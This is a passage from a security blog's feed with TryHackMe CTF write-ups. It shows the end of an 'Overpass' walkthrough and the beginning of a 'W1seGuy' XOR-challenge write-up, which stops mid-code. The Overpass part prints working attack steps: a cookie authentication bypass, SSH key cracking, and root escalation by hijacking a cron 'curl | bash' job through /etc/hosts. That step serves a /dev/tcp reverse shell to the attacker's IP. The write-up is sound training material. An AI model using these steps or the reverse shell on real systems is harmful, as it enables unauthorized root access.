style="color:#56B6C2"> =</span><span style="color:#E5C07B"> document</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">querySelector</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"#username"</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#C678DD">    const</span><span style="color:#E5C07B"> passwordBox</span><span style="color:#56B6C2"> =</span><span style="color:#E5C07B"> document</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">querySelector</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"#password"</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#C678DD">    const</span><span style="color:#E5C07B"> loginStatus</span><span style="color:#56B6C2"> =</span><span style="color:#E5C07B"> document</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">querySelector</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"#loginStatus"</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#E5C07B">    loginStatus</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">textContent</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> ""</span></span><span class="line"><span style="color:#C678DD">    const</span><span style="color:#E5C07B"> creds</span><span style="color:#56B6C2"> =</span><span style="color:#ABB2BF"> { </span><span style="color:#E06C75">username</span><span style="color:#ABB2BF">: </span><span style="color:#E5C07B">usernameBox</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">value</span><span style="color:#ABB2BF">, </span><span style="color:#E06C75">password</span><span style="color:#ABB2BF">: </span><span style="color:#E5C07B">passwordBox</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">value</span><span style="color:#ABB2BF"> }</span></span><span class="line"><span style="color:#C678DD">    const</span><span style="color:#E5C07B"> response</span><span style="color:#56B6C2"> =</span><span style="color:#C678DD"> await</span><span style="color:#61AFEF"> postData</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"/api/login"</span><span style="color:#ABB2BF">, </span><span style="color:#E06C75">creds</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#C678DD">    const</span><span style="color:#E5C07B"> statusOrCookie</span><span style="color:#56B6C2"> =</span><span style="color:#C678DD"> await</span><span style="color:#E5C07B"> response</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">text</span><span style="color:#ABB2BF">()</span></span><span class="line"><span style="color:#C678DD">    if</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">statusOrCookie</span><span style="color:#56B6C2"> ===</span><span style="color:#98C379"> "Incorrect credentials"</span><span style="color:#ABB2BF">) {</span></span><span class="line"><span style="color:#E5C07B">        loginStatus</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">textContent</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> "Incorrect Credentials"</span></span><span class="line"><span style="color:#E5C07B">        passwordBox</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">value</span><span style="color:#56B6C2">=</span><span style="color:#98C379">""</span></span><span class="line"><span style="color:#ABB2BF">    } </span><span style="color:#C678DD">else</span><span style="color:#ABB2BF"> {</span></span><span class="line"><span style="color:#E5C07B">        Cookies</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">set</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"SessionToken"</span><span style="color:#ABB2BF">,</span><span style="color:#E06C75">statusOrCookie</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#E5C07B">        window</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">location</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> "/admin"</span></span><span class="line"><span style="color:#ABB2BF">    }</span></span><span class="line"><span style="color:#ABB2BF">}</span></span></code></pre></div></div></figure><p>We can see in case of successful lo gin, the cookie <code>SessionToken</code> is set. Let's try to set one. Any value does nothing, but an empty value makes us connected. Once connected, we can read the following message:</p><blockquote><p>Since you keep forgetting your password, James, I've set up SSH keys for you.</p><p>If you forget the password for this, crack it yourself. I'm tired of fixing stuff for you.Also, we really need to talk about this &quot;Military Grade&quot; encryption. - Paradox</p></blockquote><p>Let's save the key.</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">curl</span><span style="color:#D19A66"> -s</span><span style="color:#98C379"> http://overpass.thm/admin/</span><span style="color:#D19A66"> --cookie</span><span style="color:#98C379"> 'SessionToken='</span><span style="color:#ABB2BF"> | </span><span style="color:#61AFEF">htmlq</span><span style="color:#D19A66"> --text</span><span style="color:#98C379"> 'pre'</span><span style="color:#ABB2BF"> > </span><span style="color:#98C379">james.private_key.pem</span></span><span class="line"><span style="color:#61AFEF">chmod</span><span style="color:#D19A66"> 600</span><span style="color:#98C379"> james.private_key.pem</span></span></code></pre></div></div></figure><h2 id="SSH-key-cracking">SSH key cracking<a class="header-anchor" href="#SSH-key-cracking">#</a></h2><p>Referring to <a href="https://www.acceis.fr/how-to-crack-encrypted-ssh-private-keys/">an article I wrote</a>, we can try to crack the password protecting the key.</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">ssh2john</span><span style="color:#98C379"> james.private_key.pem</span><span style="color:#ABB2BF"> > </span><span style="color:#98C379">james.private_key.jtr_hash</span></span><span class="line"><span style="color:#61AFEF">john</span><span style="color:#98C379"> james.private_key.jtr_hash</span><span style="color:#D19A66"> -w=/usr/share/wordlists/passwords/rockyou.txt</span><span style="color:#D19A66"> --format=ssh</span></span></code></pre></div></div></figure><p>The password is found after 8 seconds.</p><figure class="shiki plaintext"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>Using default input encoding: UTF-8</span></span><span class="line"><span>Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])</span></span><span class="line"><span>Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes</span></span><span class="line"><span>Cost 2 (iteration count) is 1 for all loaded hashes</span></span><span class="line"><span>Will run 4 OpenMP threads</span></span><span class="line"><span>Note: This format may emit false positives, so it will keep trying even after</span></span><span class="line"><span>finding a possible candidate.</span></span><span class="line"><span>Press 'q' or Ctrl-C to abort, almost any other key for status</span></span><span class="line"><span>edited          (james.private_key.pem)</span></span><span class="line"><span>Warning: Only 1 candidate left, minimum 4 needed for performance.</span></span><span class="line"><span>1g 0:00:00:08 DONE (2026-04-06 02:37) 0.1129g/s 1620Kp/s 1620Kc/s 1620KC/s *7¡Vamos!</span></span><span class="line"><span>Session completed</span></span></code></pre></div></div></figure><h2 id="User-flag">User flag<a class="header-anchor" href="#User-flag">#</a></h2><p>Let's connect with the key and the freshly cracked password.</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">ssh</span><span style="color:#D19A66"> -i</span><span style="color:#98C379"> james.private_key.pem</span><span style="color:#98C379"> james@overpass.thm</span></span></code></pre></div></div></figure><figure class="shiki plaintext"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>james@ip-10-129-136-98:~$ ls -lhA</span></span><span class="line"><span>total 40K</span></span><span class="line"><span>lrwxrwxrwx 1 james james    9 Jun 27  2020 .bash_history -> /dev/null</span></span><span class="line"><span>-rw-r--r-- 1 james james  220 Jun 27  2020 .bash_logout</span></span><span class="line"><span>-rw-r--r-- 1 james james 3.7K Jun 27  2020 .bashrc</span></span><span class="line"><span>drwx------ 2 james james 4.0K Jun 27  2020 .cache</span></span><span class="line"><span>drwx------ 3 james james 4.0K Jun 27  2020 .gnupg</span></span><span class="line"><span>drwxrwxr-x 3 james james 4.0K Jun 27  2020 .local</span></span><span class="line"><span>-rw-r--r-- 1 james james   49 Jun 27  2020 .overpass</span></span><span class="line"><span>-rw-r--r-- 1 james james  807 Jun 27  2020 .profile</span></span><span class="line"><span>drwx------ 2 james james 4.0K Jun 27  2020 .ssh</span></span><span class="line"><span>-rw-rw-r-- 1 james james  438 Jun 27  2020 todo.txt</span></span><span class="line"><span>-rw-rw-r-- 1 james james   38 Jun 27  2020 user.txt</span></span><span class="line"><span>james@ip-10-129-136-98:~$ cat user.txt</span></span><span class="line"><span>thm{edited}</span></span></code></pre></div></div></figure><h2 id="Elevation-of-privileges-EoP">Elevation of privileges (EoP)<a class="header-anchor" href="#Elevation-of-privileges-EoP">#</a></h2><p>As I guess earlier, the goal is now to reverse the crappy encryption.</p><figure class="shiki plaintext"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>james@ip-10-129-136-98:~$ cat todo.txt </span></span><span class="line"><span>To Do:</span></span><span class="line"><span>> Update Overpass' Encryption, Muirland has been complaining that it's not strong enough</span></span><span class="line"><span>> Write down my password somewhere on a sticky note so that I don't forget it.</span></span><span class="line"><span>  Wait, we make a password manager. Why don't I just use that?</span></span><span class="line"><span>> Test Overpass for macOS, it builds fine but I'm not sure it actually works</span></span><span class="line"><span>> Ask Paradox how he got the automated build script working and where the builds go.</span></span><span class="line"><span>  They're not updating on the website</span></span><span class="line"><span></span></span><span class="line"><span>james@ip-10-129-136-98:~$ cat .overpass &#x26;&#x26; echo</span></span><span class="line"><span>,L&#x3C;edited>N.</span></span></code></pre></div></div></figure><p>Let's save <code>~/.overpass</code> and decrypt it on <a href="https://gchq.github.io/CyberChef/#recipe=ROT47(47)">CyberChef</a>.</p><p>It contains the james password, but that's useless to EoP.</p><figure class="shiki json"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#ABB2BF">[{</span><span style="color:#E06C75">"name"</span><span style="color:#ABB2BF">:</span><span style="color:#98C379">"System"</span><span style="color:#ABB2BF">,</span><span style="color:#E06C75">"pass"</span><span style="color:#ABB2BF">:</span><span style="color:#98C379">"s&#x3C;edited>e"</span><span style="color:#ABB2BF">}]</span></span></code></pre></div></div></figure><p>The note also mentioned an <em>automated build script</em>. Let's check cron.</p><figure class="shiki plaintext"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>james@ip-10-129-136-98:~$ cat /etc/crontab</span></span><span class="line"><span># /etc/crontab: system-wide crontab</span></span><span class="line"><span># Unlike any other crontab you don't have to run the `crontab'</span></span><span class="line"><span># command to install the new version when you edit this file</span></span><span class="line"><span># and files in /etc/cron.d. These files also have username fields,</span></span><span class="line"><span># that none of the other crontabs do.</span></span><span class="line"><span></span></span><span class="line"><span>SHELL=/bin/sh</span></span><span class="line"><span>PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin</span></span><span class="line"><span></span></span><span class="line"><span># m h dom mon dow user  command</span></span><span class="line"><span>17 *    * * *   root    cd / &#x26;&#x26; run-parts --report /etc/cron.hourly</span></span><span class="line"><span>25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / &#x26;&#x26; run-parts --report /etc/cron.daily )</span></span><span class="line"><span>47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / &#x26;&#x26; run-parts --report /etc/cron.weekly )</span></span><span class="line"><span>52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / &#x26;&#x26; run-parts --report /etc/cron.monthly )</span></span><span class="line"><span># Update builds from latest code</span></span><span class="line"><span>* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash</span></span></code></pre></div></div></figure><p>curl is run as root to retrieve a script and then run in a piped bash. Basically if we control that script, we can elevate to root.</p><p>Strangely, the hosts file is writable by anybody, so we can edit <code>overpass.thm</code> entry and set our IP address.</p><figure class="shiki plaintext"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>james@ip-10-129-136-98:~$ ls -lh /etc/hosts</span></span><span class="line"><span>-rw-rw-rw- 1 root root 250 Jun 27  2020 /etc/hosts</span></span></code></pre></div></div></figure><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">mkdir</span><span style="color:#D19A66"> -p</span><span style="color:#98C379"> http/downloads/src/</span></span><span class="line"><span style="color:#61AFEF">nvim</span><span style="color:#98C379"> http/downloads/src/buildscript.sh</span></span></code></pre></div></div></figure><p>In <code>buildscript.sh</code> I put my reverse shell:</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">/bin/bash</span><span style="color:#D19A66"> -i</span><span style="color:#ABB2BF"> >&#x26; </span><span style="color:#98C379">/dev/tcp/192.168.150.196/7777</span><span style="color:#ABB2BF"> 0>&#x26;1</span></span></code></pre></div></div></figure><p>I launch a listener:</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">ncat</span><span style="color:#D19A66"> -lvnp</span><span style="color:#D19A66"> 7777</span></span></code></pre></div></div></figure><p>To bind low ports without requiring privileged access:</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">sudo</span><span style="color:#98C379"> sysctl</span><span style="color:#D19A66"> -w</span><span style="color:#98C379"> net.ipv4.ip_unprivileged_port_start=</span><span style="color:#D19A66">0</span><span style="color:#ABB2BF"> | </span><span style="color:#61AFEF">sudo</span><span style="color:#98C379"> tee</span><span style="color:#D19A66"> -a</span><span style="color:#98C379"> /etc/sysctl.d/99-custom.conf</span></span></code></pre></div></div></figure><p>I start the HTTP server that will deliver the malicious script:</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">ruby</span><span style="color:#D19A66"> -run</span><span style="color:#D19A66"> -ehttpd</span><span style="color:#98C379"> ./http</span><span style="color:#D19A66"> -p80</span></span></code></pre></div></div></figure><p>Then we edit <code>/etc/hosts</code> on the machine to set our IP address:</p><figure class="shiki plaintext"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>127.0.0.1 localhost</span></span><span class="line"><span>127.0.1.1 overpass-prod</span></span><span class="line"><span>192.168.150.196 overpass.thm</span></span><span class="line"><span># The following lines are desirable for IPv6 capable hosts</span></span><span class="line"><span>::1     ip6-localhost ip6-loopback</span></span><span class="line"><span>fe00::0 ip6-localnet</span></span><span class="line"><span>ff00::0 ip6-mcastprefix</span></span><span class="line"><span>ff02::1 ip6-allnodes</span></span><span class="line"><span>ff02::2 ip6-allrouters</span></span></code></pre></div></div></figure><h2 id="Root-flag">Root flag<a class="header-anchor" href="#Root-flag">#</a></h2><p>Wait a few seconds and them boom! We are root!</p><figure class="shiki plaintext"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>root@ip-10-129-136-98:~# id</span></span><span class="line"><span>uid=0(root) gid=0(root) groups=0(root)</span></span><span class="line"><span></span></span><span class="line"><span>root@ip-10-129-136-98:~# ls -lhA</span></span><span class="line"><span>total 68K</span></span><span class="line"><span>lrwxrwxrwx 1 root root    9 Jun 27  2020 .bash_history -> /dev/null</span></span><span class="line"><span>-rw------- 1 root root 3.1K Apr  9  2018 .bashrc</span></span><span class="line"><span>drwx------ 3 root root 4.0K Oct 22 20:53 .cache</span></span><span class="line"><span>drwx------ 3 root root 4.0K Oct 22 20:53 .gnupg</span></span><span class="line"><span>drwx------ 3 root root 4.0K Jun 27  2020 .local</span></span><span class="line"><span>-rw------- 1 root root  184 Jun 27  2020 .profile</span></span><span class="line"><span>drwx------ 2 root root 4.0K Oct 22 20:14 .ssh</span></span><span class="line"><span>-rw------- 1 root root  966 Oct 22 21:29 .viminfo</span></span><span class="line"><span>-rw-r--r-- 1 root root  20K Apr  6 02:35 buildStatus</span></span><span class="line"><span>drwx------ 2 root root 4.0K Jun 27  2020 builds</span></span><span class="line"><span>drwxr-xr-x 4 root root 4.0K Jun 27  2020 go</span></span><span class="line"><span>-rw------- 1 root root   38 Jun 27  2020 root.txt</span></span><span class="line"><span>drwx------ 2 root root 4.0K Jun 27  2020 src</span></span><span class="line"><span></span></span><span class="line"><span>root@ip-10-129-136-98:~# cat root.txt</span></span><span class="line"><span>thm{edited}</span></span></code></pre></div></div></figure><h2 id="Bonus">Bonus<a class="header-anchor" href="#Bonus">#</a></h2><p>There is another <code>.overpass</code> file.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>root@ip-10-129-136-98:~# find / -type f -name .overpass</span></span><span class="line"><span>/home/tryhackme/.overpass</span></span><span class="line"><span>/home/james/.overpass</span></span></code></pre></div></div></figure><p>Again, decrypt it on <a href="https://gchq.github.io/CyberChef/#recipe=ROT47(47)">CyberChef</a>.</p><figure class="shiki json"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#ABB2BF">[{</span><span style="color:#E06C75">"name"</span><span style="color:#ABB2BF">:</span><span style="color:#98C379">"TryHackMe Subscription Code"</span><span style="color:#ABB2BF">,</span><span style="color:#E06C75">"pass"</span><span style="color:#ABB2BF">:</span><span style="color:#98C379">"edited"</span><span style="color:#ABB2BF">}]</span></span></code></pre></div></div></figure><p>It was where was the subscription code.</p><link rel="stylesheet" href="/css/folder.css" type="text/css"><script src="/js/folder.js" type="text/javascript" async></script>]]>
      </content:encoded>
    </item>
    <item>
      <title>W1seGuy - Write-up - TryHackMe</title>
      <link>https://blog.raw.pm/en/TryHackMe-W1seGuy-write-up/</link>
      <description>
        <![CDATA[<h1>Information</h1>
<h2 id="Room">Room<a class="header-anchor" href="#Room">#</a></h2>
<ul>
<li><strong>Name:</strong> W1seGuy</li>
<li><st]]>
      </description>
      <author>Alexandre ZANNI</author>
      <category domain="https://blog.raw.pm/categories/writeups/">writeups</category>
      <category domain="https://blog.raw.pm/tags/security/">security</category>
      <category domain="https://blog.raw.pm/tags/writeups/">writeups</category>
      <category domain="https://blog.raw.pm/tags/crypto/">crypto</category>
      <category domain="https://blog.raw.pm/tags/thm/">thm</category>
      <category domain="https://blog.raw.pm/tags/scripting/">scripting</category>
      <category domain="https://blog.raw.pm/tags/xor/">xor</category>
      <pubDate>Sun, 05 Apr 2026 00:01:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1>Information</h1><h2 id="Room">Room<a class="header-anchor" href="#Room">#</a></h2><ul><li><strong>Name:</strong> W1seGuy</li><li><strong>Profile:</strong> <a href="https://tryhackme.com/room/w1seguy">tryhackme.com</a></li><li><strong>Difficulty:</strong> Easy</li><li><strong>Description</strong>: A w1se guy 0nce said, the answer is usually as plain as day.</li></ul><p><img src="/images/TryHackMe/w1seguy.png" alt="W1seGuy"></p><h1>Write-up</h1><h2 id="Overview">Overview<a class="header-anchor" href="#Overview">#</a></h2><p>Install tools used in this WU on <a href="https://blackarch.org">BlackArch Linux</a>:</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">sudo</span><span style="color:#98C379"> pacman</span><span style="color:#D19A66"> -S</span><span style="color:#98C379"> ruby</span></span></code></pre></div></div></figure><div style="width: [width];margin: 0 auto">    <canvas id="chart7032" style="height: [height]px"></canvas></div><script src="https://cdn.jsdelivr.net/npm/chart.js@2.9.3/dist/Chart.min.js"></script><script type="text/javascript">    var ctx = document.getElementById('chart7032').getContext('2d');    var options = {  type: 'polarArea',  responsive: false,  data: {    labels: ['Enumeration', 'Real-Life', 'Well-Known Vulnerabilities', 'Custom Exploitation', 'CTF-Like', 'Scripting'],    datasets: [{      label: 'Box rating',      backgroundColor: [        'rgba(54, 163, 235, 0.5)',        'rgba(255, 99, 132, 0.5)',        'rgba(75, 192, 192, 0.5)',        'rgba(255, 205, 86, 0.5)',        'rgba(68, 205, 58, 0.5)',        'rgba(244, 81, 30, 0.5)'      ],      borderColor: [        'rgba(54, 163, 235, 1)',        'rgba(255, 99, 132, 1)',        'rgba(75, 192, 192, 1)',        'rgba(255, 205, 86, 1)',        'rgba(68, 205, 58, 1)',        'rgba(244, 81, 30, 1)'      ],      data: [        0,        1,        0,        5,        4,        4      ]    }]  },  options: {    legend: {      position: 'right',      labels: {        fontSize: 25      }    },    scale: {      ticks: {        beginAtZero: true,        stepSize: 1,        suggestedMax: 5      }    }  }};;    new Chart(ctx, options);</script><h2 id="Server-s-source-code-analysis">Server's source code analysis<a class="header-anchor" href="#Server-s-source-code-analysis">#</a></h2><p>We're given the following python server source code:</p><figure class="shiki python"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#C678DD">import</span><span style="color:#ABB2BF"> random</span></span><span class="line"><span style="color:#C678DD">import</span><span style="color:#ABB2BF"> socketserver</span></span><span class="line"><span style="color:#C678DD">import</span><span style="color:#ABB2BF"> socket, os</span></span><span class="line"><span style="color:#C678DD">import</span><span style="color:#ABB2BF"> string</span></span><span class="line"></span><span class="line"><span style="color:#ABB2BF">flag </span><span style="color:#56B6C2">=</span><span style="color:#56B6C2"> open</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'flag.txt'</span><span style="color:#ABB2BF">,</span><span style="color:#98C379">'r'</span><span style="color:#ABB2BF">).</span><span style="color:#61AFEF">read</span><span style="color:#ABB2BF">().</span><span style="color:#61AFEF">strip</span><span style="color:#ABB2BF">()</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">def</span><span style="color:#61AFEF"> send_message</span><span style="color:#ABB2BF">(</span><span style="color:#D19A66;font-style:italic">server</span><span style="color:#ABB2BF">, </span><span style="color:#D19A66;font-style:italic">message</span><span style="color:#ABB2BF">):</span></span><span class="line"><span style="color:#ABB2BF">    enc </span><span style="color:#56B6C2">=</span><span style="color:#ABB2BF"> message.</span><span style="color:#61AFEF">encode</span><span style="color:#ABB2BF">()</span></span><span class="line"><span style="color:#ABB2BF">    server.</span><span style="color:#61AFEF">send</span><span style="color:#ABB2BF">(enc)</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">def</span><span style="color:#61AFEF"> setup</span><span style="color:#ABB2BF">(</span><span style="color:#D19A66;font-style:italic">server</span><span style="color:#ABB2BF">, </span><span style="color:#D19A66;font-style:italic">key</span><span style="color:#ABB2BF">):</span></span><span class="line"><span style="color:#ABB2BF">    flag </span><span style="color:#56B6C2">=</span><span style="color:#98C379"> 'THM</span><span style="color:#D19A66">{thisisafakeflag}</span><span style="color:#98C379">'</span></span><span class="line"><span style="color:#ABB2BF">    xored </span><span style="color:#56B6C2">=</span><span style="color:#98C379"> ""</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">    for</span><span style="color:#ABB2BF"> i </span><span style="color:#C678DD">in</span><span style="color:#56B6C2"> range</span><span style="color:#ABB2BF">(</span><span style="color:#D19A66">0</span><span style="color:#ABB2BF">,</span><span style="color:#56B6C2">len</span><span style="color:#ABB2BF">(flag)):</span></span><span class="line"><span style="color:#ABB2BF">        xored </span><span style="color:#56B6C2">+=</span><span style="color:#56B6C2"> chr</span><span style="color:#ABB2BF">(</span><span style="color:#56B6C2">ord</span><span style="color:#ABB2BF">(flag[i]) </span><span style="color:#56B6C2">^</span><span style="color:#56B6C2"> ord</span><span style="color:#ABB2BF">(key[i</span><span style="color:#56B6C2">%len</span><span style="color:#ABB2BF">(key)]))</span></span><span class="line"></span><span class="line"><span style="color:#ABB2BF">    hex_encoded </span><span style="color:#56B6C2">=</span><span style="color:#ABB2BF"> xored.</span><span style="color:#61AFEF">encode</span><span style="color:#ABB2BF">().</span><span style="color:#61AFEF">hex</span><span style="color:#ABB2BF">()</span></span><span class="line"><span style="color:#C678DD">    return</span><span style="color:#ABB2BF"> hex_encoded</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">def</span><span style="color:#61AFEF"> start</span><span style="color:#ABB2BF">(</span><span style="color:#D19A66;font-style:italic">server</span><span style="color:#ABB2BF">):</span></span><span class="line"><span style="color:#ABB2BF">    res </span><span style="color:#56B6C2">=</span><span style="color:#98C379"> ''</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">join</span><span style="color:#ABB2BF">(random.</span><span style="color:#61AFEF">choices</span><span style="color:#ABB2BF">(string.ascii_letters </span><span style="color:#56B6C2">+</span><span style="color:#ABB2BF"> string.digits, </span><span style="color:#E06C75;font-style:italic">k</span><span style="color:#56B6C2">=</span><span style="color:#D19A66">5</span><span style="color:#ABB2BF">))</span></span><span class="line"><span style="color:#ABB2BF">    key </span><span style="color:#56B6C2">=</span><span style="color:#56B6C2"> str</span><span style="color:#ABB2BF">(res)</span></span><span class="line"><span style="color:#ABB2BF">    hex_encoded </span><span style="color:#56B6C2">=</span><span style="color:#61AFEF"> setup</span><span style="color:#ABB2BF">(server, key)</span></span><span class="line"><span style="color:#61AFEF">    send_message</span><span style="color:#ABB2BF">(server, </span><span style="color:#98C379">"This XOR encoded text has flag 1: "</span><span style="color:#56B6C2"> +</span><span style="color:#ABB2BF"> hex_encoded </span><span style="color:#56B6C2">+</span><span style="color:#98C379"> "</span><span style="color:#56B6C2">\n</span><span style="color:#98C379">"</span><span style="color:#ABB2BF">)</span></span><span class="line"></span><span class="line"><span style="color:#61AFEF">    send_message</span><span style="color:#ABB2BF">(server,</span><span style="color:#98C379">"What is the encryption key? "</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#ABB2BF">    key_answer </span><span style="color:#56B6C2">=</span><span style="color:#ABB2BF"> server.</span><span style="color:#61AFEF">recv</span><span style="color:#ABB2BF">(</span><span style="color:#D19A66">4096</span><span style="color:#ABB2BF">).</span><span style="color:#61AFEF">decode</span><span style="color:#ABB2BF">().</span><span style="color:#61AFEF">strip</span><span style="color:#ABB2BF">()</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">    try</span><span style="color:#ABB2BF">:</span></span><span class="line"><span style="color:#C678DD">        if</span><span style="color:#ABB2BF"> key_answer </span><span style="color:#56B6C2">==</span><span style="color:#ABB2BF"> key:</span></span><span class="line"><span style="color:#61AFEF">            send_message</span><span style="color:#ABB2BF">(server, </span><span style="color:#98C379">"Congrats! That is the correct key! Here is flag 2: "</span><span style="color:#56B6C2"> +</span><span style="color:#ABB2BF"> flag </span><span style="color:#56B6C2">+</span><span style="color:#98C379"> "</span><span style="color:#56B6C2">\n</span><span style="color:#98C379">"</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#ABB2BF">            server.</span><span style="color:#61AFEF">close</span><span style="color:#ABB2BF">()</span></span><span class="line"><span style="color:#C678DD">        else</span><span style="color:#ABB2BF">:</span></span><span class="line"><span style="color:#61AFEF">            send_message</span><span style="color:#ABB2BF">(server, </span><span style="color:#98C379">'Close but no cigar'</span><span style="color:#56B6C2"> +</span><span style="color:#98C379"> "</span><span style="color:#56B6C2">\n</span><span style="color:#98C379">"</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#ABB2BF">            server.</span><span style="color:#61AFEF">close</span><span style="color:#ABB2BF">()</span></span><span class="line"><span style="color:#C678DD">    except</span><span style="color:#ABB2BF">:</span></span><span class="line"><span style="color:#61AFEF">        send_message</span><span style="color:#ABB2BF">(server, </span><span style="color:#98C379">"Something went wrong. Please try again. :)</span><span style="color:#56B6C2">\n</span><span style="color:#98C379">"</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#ABB2BF">        server.</span><span style="color:#61AFEF">close</span><span style="color:#ABB2BF">()</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">class</span><span style="color:#E5C07B"> RequestHandler</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">socketserver</span><span style="color:#ABB2BF">.</span><span style="color:#E5C07B">BaseRequestHandler</span><span style="color:#ABB2BF">):</span></span><span class="line"><span style="color:#C678DD">    def</span><span style="color:#61AFEF"> handle</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B;font-style:italic">self</span><span style="color:#ABB2BF">):</span></span><span class="line"><span style="color:#61AFEF">        start</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">self</span><span style="color:#ABB2BF">.request)</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">if</span><span style="color:#E06C75"> __name__</span><span style="color:#56B6C2"> ==</span><span style="color:#98C379"> '__main__'</span><span style="color:#ABB2BF">:</span></span><span class="line"><span style="color:#ABB2BF">    socketserver.ThreadingTCPServer.allow_reuse_address </span><span style="color:#56B6C2">=</span><span style="color:#D19A66"> True</span></span><span class="line"><span style="color:#ABB2BF">    server </span><span style="color:#56B6C2">=</span><span style="color:#ABB2BF"> socketserver.</span><span style="color:#61AFEF">ThreadingTCPServer</span><span style="color:#ABB2BF">((</span><span style="color:#98C379">'0.0.0.0'</span><span style="color:#ABB2BF">, </span><span style="color:#D19A66">1337</span><span style="color:#ABB2BF">), RequestHandler)</span></span><span class="line"><span style="color:#ABB2BF">    server.</span><span style="color:#61AFEF">serve_forever</span><span style="color:#ABB2BF">()</span></span></code></pre></div></div></figure><p>The server implements a simple XOR cipher flag delivery over a TCP socket.</p><figure class="shiki python"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#7F848E;font-style:italic"># [...]</span></span><span class="line"><span style="color:#C678DD">def</span><span style="color:#61AFEF"> setup</span><span style="color:#ABB2BF">(</span><span style="color:#D19A66;font-style:italic">server</span><span style="color:#ABB2BF">, </span><span style="color:#D19A66;font-style:italic">key</span><span style="color:#ABB2BF">):</span></span><span class="line"><span style="color:#ABB2BF">    flag </span><span style="color:#56B6C2">=</span><span style="color:#98C379"> 'THM</span><span style="color:#D19A66">{thisisafakeflag}</span><span style="color:#98C379">'</span></span><span class="line"><span style="color:#ABB2BF">    xored </span><span style="color:#56B6C2">=</span><span style="color:#98C379"> ""</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">    for</span><span style="color:#ABB2BF"> i </span><span style="color:#C678DD">in</span><span 